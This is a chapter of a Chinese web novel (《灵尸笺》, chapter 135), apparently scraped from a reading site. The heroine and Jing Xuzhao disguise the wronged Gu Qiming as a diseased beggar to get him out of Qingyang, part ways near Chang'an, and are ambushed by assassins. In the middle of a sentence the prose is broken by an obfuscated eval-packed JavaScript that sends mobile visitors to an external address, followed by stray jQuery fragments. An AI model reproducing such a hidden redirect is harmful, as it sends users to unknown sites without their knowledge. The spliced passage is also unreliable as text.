135. 分路前行

作品:《灵尸笺

    他在后方看着马车走向街道尽头。


    池楚浠走到他身边,在看清他此刻的模样时,她也红了眼眶,是经历过什么样的折磨才会变成如今这个样子。


    手筋被挑断,再也无法写字,脚是瘸的,逃不出这片牢笼,容貌尽毁,连至亲之人都不一定能认出。


    客舍的后院里,池楚浠将他的脸擦洗了一遍,看着他吃饱了饭。


    “顾伯父,月白阿姐必须离开青阳县,去长安寻国子监司业韦修远,这样才能为您讨回公道。”


    “我们会想办法带您一起走,到时你们在长安汇合。”


    池楚浠耐心说了许多,顾启明的反应偶尔有些许迟钝,或许和受伤有关。


    但他能理解池楚浠说的,听完后他笨重地点了点头。


    景序昭道:“我们不能在青阳县直接插手此事,否则后果不堪设想。”


    池楚浠道:“我知道,估摸着何宗言的人追不上月白阿姐了我们就走。”


    夜幕降临,池楚浠看见何宗言匆匆骑马打街上经过,他身后跟着几个他的心腹,这几人池楚浠在嫁白骨舟人时见过。


    “他们莫不是在灵江上找了一天。”


    景序昭也瞧着他们跑过去的背影:“照他们这种找法,那艘装神弄鬼的船怕是藏不住了。”


    “江三郎在屋里可还安分?”


    “三位姑娘看着呢,很安分。”


    这个客舍的位置选得好,一到夜里又看见何宗言带着手下出门。


    池楚浠不得不多留意他的动向,没想到还真在夜里等着了。


    何宗言打着火把穿过这条街,往灵江的方向去了。


    景序昭与她同屋,见她一直在窗边看,便道:“许是白天找着什么线索了,晚上一抽出空来就要去逮人。”


    池楚浠道:“多亏了你,否则他们还被困在水下脱不开身,准会被逮个正着。”


    “等过了这两日,就立马离开,江三郎和三位娘子都在这客舍里,藏不了多少时日。”


    毕竟这里有不少他们的熟人,一旦遇到便再也藏不住了。


    幸好三位姑娘仁义,答应了顾月白的事在尽力做到,否则此事也难办。


    何宗言一整天都在外面,回来时经过客舍前,一行人都气势汹汹的模样,看来今天落了空。


    何宗言想必不好受,等了这么久的时机,想要瓮中捉鳖,却扑了个空。


    池楚浠眼看着他们骑马跑过,带起一阵沙尘。


    这一夜没见着何宗言的人出来,想必是去了别处寻人。


    张娘子来寻池楚浠:“吃晚饭时在前厅遇着个熟人,她似乎认出我来了,怎么办池娘子?”


    “她与你说话了?”池楚浠问。


    张娘子摇摇头:“话倒是没说,但她盯着我看了许久,又疑惑又震惊的样子,当时我蒙着脸,她应是没完全认出。”


    算算时间,也差不多可以离开青阳县了。


    池楚浠道:“明日一早我和夫君便走,届时你们在客舍再待几日,若实在待不了,回去也无妨。”


    “我知道了。”张娘子有些忧心,“也不知顾娘子她们走了多远,那假主簿的手怕是也伸不了那么长了吧。”


    “但愿。”池楚浠道。


    何宗言从顾启明拿到告身的那一刻就打上主意,必定是早有预谋。


    那么他很有可能提前打点青阳县的人,极有可能县令在之前就已知晓,青阳县的人都不可信,但出了青阳县就不一定了。


    一旦顾月白去到长安,找到负责此事的官员,将此事一闹大,讨起公道来就更容易些。


    景序昭道:“只要有人接手这桩案子,我会想办法派人暗中协助,为顾伯父伸冤是迟早的事,你不必焦虑。”


    张娘子看了夫妇俩一眼,笑道:“像两位这般恩爱有加的夫妇倒真是令人羡慕。”


    张娘子掩嘴笑着。


    池楚浠暗中羞红了脸。


    她与景序昭还要扮一路的夫妻。


    次日一早,池楚浠就把顾启明抹得又黑又脏,身上还有一股难以言说的臭味。


    一些逼真的疮疤贴在顾启明脸上,仿佛即将要沤坏整张脸。


    景序昭拽着顾启明的衣领,将他强行拖到城门,口中骂骂咧咧道:“得了疫病还到处乱蹿,别惹我们晦气,赶紧滚出去讨饭!”


    官兵把嘴一捂,嫌弃道:“哪来的叫花子,离我远点儿!”


    池楚浠也学官兵的模样捂着嘴:“这是稻香斋门前经常讨饭的那个,路过的大夫说他像是得了疫病,要赶紧把他弄走,否则就要传染给我们。”


    “这不,我夫君忍着恶心把他拎了出来,官爷快把他赶出去吧,万一染了病你们青阳县就要遭罪了。”


    紫珞给他们看了过所,守城人扫了他们三人一眼:“你们不是青阳县人,走吧,劳烦你们把这叫花子扔出去,别来祸害我们。”


    “诶,好勒,我们帮您扔出去。”


    “可千万别让他祸害了你们青阳县。”


    景序昭拖着顾启明快步远离城门。


    几人顺利出城,池楚浠这才松了口气。何宗言认识顾启明,就怕被何宗言看见,幸好,他们终于离开了青阳县。


    马车上,顾启明落下两行泪来。


    池楚浠安慰道:“顾伯父,您的委屈一定能讨回来,月白阿姐可以做到。”


    “您不必担心,随我们去长安便是。”


    池楚浠没有再多说,任何人经历了这么一桩惨事还能活下来就算命大了。


    即便是为他讨回公道,他失去的一切也都拿不回来。


    冒名顶替一事屡见不鲜,虽惩处严重,但仍有人铤而走险,成了便得富贵,总有人敢舍命去做。


    顾伯父无法言语,他瑟缩在马车内,手里捧着一张干饼,偶尔啃上几口。


    他的心智不如从前,恐怕很难恢复如初。


    池楚浠看着他便觉得心中悲痛,顾伯父怎会如此命苦。


    她将那封信的内容念给顾启明听,他一边啃着饼一边听,忽地呜呜啜泣着。


    那日柳色、酒香仍历历在目。兄彼时醉卧堤岸,笑指飞燕曰“此鸟亦逐春光,似你我少年心事”,如今思来,竟如隔世……


    这一路星夜兼程,走的大多是小道,虽耽误了更多时日,但鲜少有官差核查身份。


    “今夜无月色,咱就不赶路了。”紫珞将马车停在路边,解开马儿的束缚让它吃些东西。


    池楚浠把顾启明安顿好,让他在车内休息。


    “顾伯父,您先歇着,我出去透透气。”


    顾启明喉咙里嗯了一声,侧身蜷缩在角落。


    景序昭生了火堆,席地而坐。


    “快到长安了,我想让顾伯父跟我分开走,紫珞与顾伯父一道。


    火星在柴火中炸起,映亮了景序昭忽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501351|184457||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然带笑的眼眸。


    他道:“幸好不是让我随他一道。”


    池楚浠看向他:“你这是何意?”


    景序昭侧目看来,带笑的眼尾微微弯着:“说明你愿与我生死同路,不离不弃。”


    池楚浠羞得赶紧移开目光:“胡说什么……”


    “这一路走来还算安稳,只因刻意避着他们,但接下来的路避无可避。”景序昭道,“你想让顾伯父单独走是为保全他,我同意,我只有一个要求,与你寸步不离。”


    池楚浠感觉心里软了一寸。


    她终于直视着景序昭:“我说了,与你做同路人,无论如何,我想赎回你的自由。”


    景序昭唇角弯了弯,往火堆里添了根柴火。


    黑夜里,火光又亮了几分。


    紫珞没想到,都临近长安了,还被两个主子打发走,马车也送给了她。


    她驾着马车终于驶上了大路。


    “伯父,您坐稳,咱们赶路回去了!”


    池楚浠与景序昭走了另一条路,这条路上人烟相对稀少,四周竹林茂密。


    两匹快马在林间疾驰。


    树梢的杂音钻入景序昭耳中,他勒了勒缰绳让马儿减速,一抬手便接下一只飞鸽。


    取下鸽子身上的信笺,他勒马停下。


    “怎么了?”池楚浠回头看来。


    景序昭扫过信上的字,脸色严肃:“他们早就在城外等着了,楚浠,你离我近些。”


    池楚浠跟在了景序昭身后。


    两道身影依旧向前疾驰,该来的总会来。


    紫珞走的近道,在午时便入了长安城,她麻利地把顾启明安顿在客舍,就赶紧给景家通风报信。


    十字路口,林子已经稀疏,远处还能看见劳作的百姓。


    两匹疾驰的马儿差点因为急停而稳不住脚,风一吹,阴森森的铁器味儿便扑了满面。


    一群人拦住了池楚浠他们的去路。


    为首之人抬抬手指,沉声道:“别让他们活着入城。”


    “杀!”


    所有杀手闻风而动。


    几十人足以将他们团团围住,连一个路口都没给池楚浠留。


    “景序昭,连累你了。”她道。


    景序昭没来得及说话,迅速将池楚浠揽至同一匹马,手中的刀眨眼便斩落一颗人头。


    血腥味直冲鼻腔,池楚浠痛苦地转开脸,有血珠溅在她面颊。


    在密不透风的包围下,池楚浠只感觉不见天光,周围的血影仿佛顷刻间要将她淹没。


    景序昭将她牢牢按入怀中,池楚浠埋着头,那一刻只能闻到景序昭身上的味道,血腥味仿佛尽数消散。


    她不信鬼神,但此刻真想跪下来向各路仙神祈祷,护他一命,永生安康。


    又是一颗头颅被景序昭削下,池楚浠从前不知,他的刀竟如此锋利。


    景序昭不知哪来的空闲,竟抬手在她脸侧一抚,带去了几粒血珠。


    “你安心。”他道。


    池楚浠小声应了一声,嗯,她安心。


    既是做了这样的选择,她无怨无悔。


    景序昭发出一声哨向,顷刻间四周林中发出沙沙声,声音越来越急促。


    陆逍带着一批人马迅速围了过来,人数虽不及杀手,但个个都身手敏捷。


    陆逍眼中迸发出精光,跃跃欲试地扬刀大喊:“一个也别放过!”